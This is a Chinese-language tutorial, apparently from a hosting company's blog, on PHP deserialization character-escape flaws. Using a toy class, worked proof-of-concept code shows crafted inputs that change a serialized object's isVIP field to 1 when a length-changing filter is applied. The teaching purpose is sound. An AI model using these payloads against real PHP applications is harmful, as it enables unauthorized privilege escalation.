您好,登錄后才能下訂單哦!
本篇內容介紹了“PHP中反序列化字符逃逸的原理”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
當開發者使用先將對象序列化,然后將對象中的字符進行過濾,最后再進行反序列化。這個時候就有可能會產生PHP反序列化字符逃逸的漏洞。
對于PHP反序列字符逃逸,我們分為以下兩種情況進行討論。
過濾后字符變多
過濾后字符變少
過濾后字符變多
假設我們先定義一個user
類,然后里面一共有3個成員變量:username
、password
、isVIP
。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到當這個類被初始化的時候,isVIP
變量默認是0
,并且不受初始化傳入的參數影響。
接下來把完整代碼貼出來,便于我們分析。
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } $a = new user("admin","123456"); $a_seri = serialize($a); echo $a_seri; ?>
這一段程序的輸出結果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,對象序列化之后的isVIP
變量是0
。
這個時候我們增加一個函數,用于對admin字符進行替換,將admin替換為hacker,替換函數如下:
function filter($s){ return str_replace("admin","hacker",$s); }
因此整段程序如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user("admin","123456"); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
這一段程序的輸出為:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
這個時候我們把這兩個程序的輸出拿出來對比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未過濾 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已過濾
可以看到已過濾字符串中的hacker
與前面的字符長度不對應了
s:5:"admin"; s:5:"hacker";
在這個時候,對于我們,在新建對象的時候,傳入的admin
就是我們的可控變量
接下來明確我們的目標:將isVIP
變量的值修改為1
首先我們將我們的現有子串和目標子串進行對比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //現有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串
也就是說,我們要在admin
這個可控變量的位置,注入我們的目標子串。
首先計算我們需要注入的目標子串的長度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的長度為47
因為我們需要逃逸的字符串長度為47
,并且admin
每次過濾之后都會變成hacker
,也就是說每出現一次admin
,就會多1
個字符。
因此我們在可控變量處,重復47遍admin,然后加上我們逃逸后的目標子串,可控變量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代碼如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
程序輸出結果為:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我們可以數一下hacker的數量,一共是47個hacker,共282個字符,正好與前面282相對應。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串會被拋棄
我們接著將這個序列化結果反序列化,然后將其輸出,完整代碼如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
程序輸出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到這個時候,isVIP
這個變量就變成了1
,反序列化字符逃逸的目的也就達到了。
過濾后字符變少
上面描述了PHP反序列化字符逃逸中字符變多的情況。
以下開始解釋反序列化字符逃逸變少的情況。
首先,和上面的主體代碼還是一樣,還是同一個class,與之有區別的是過濾函數中,我們將hacker修改為hack。
完整代碼如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
得到結果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同樣比較一下現有子串和目標子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //現有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串
因為過濾的時候,將5個字符刪減為了4個,所以和上面字符變多的情況相反,隨著加入的admin的數量增多,現有子串后面會縮進來。
計算一下目標子串的長度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串 //長度為47
再計算一下到下一個可控變量的字符串長度:
";s:8:"password";s:6:" //長度為22
因為每次過濾的時候都會少1個字符,因此我們先將admin字符重復22遍(這里的22遍不像字符變多的逃逸情況精確,后面可能會需要做調整)
完整代碼如下:(這里的變量里一共有22個admin)
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
輸出結果:
注意:PHP反序列化的機制是,比如如果前面是規定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當做第10個字符,也就是說不根據雙引號判斷一個字符串是否已經結束,而是根據前面規定的數量來讀取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
這里我們需要仔細看一下s后面是105,也就是說我們需要讀取到105個字符。從第一個引號開始,105個字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是說123456這個地方成為了我們的可控變量,在123456可控變量的位置中添加我們的目標子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串
完整代碼為:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
輸出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔細觀察這一串字符串可以看到紫色方框內一共107個字符,但是前面只有顯示105
造成這種現象的原因是:替換之前我們目標子串的位置是123456,一共6個字符,替換之后我們的目標子串顯然超過10個字符,所以會造成計算得到的payload不準確
解決辦法是:多添加2個admin,這樣就可以補上缺少的字符。
修改后代碼如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
輸出結果為:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下輸出結果:
可以看到,這一下就對了。
我們將對象反序列化然后輸出,代碼如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
得到結果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,這個時候isVIP
的值也為1
,也就達到了我們反序列化字符逃逸的目的了
“PHP中反序列化字符逃逸的原理”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。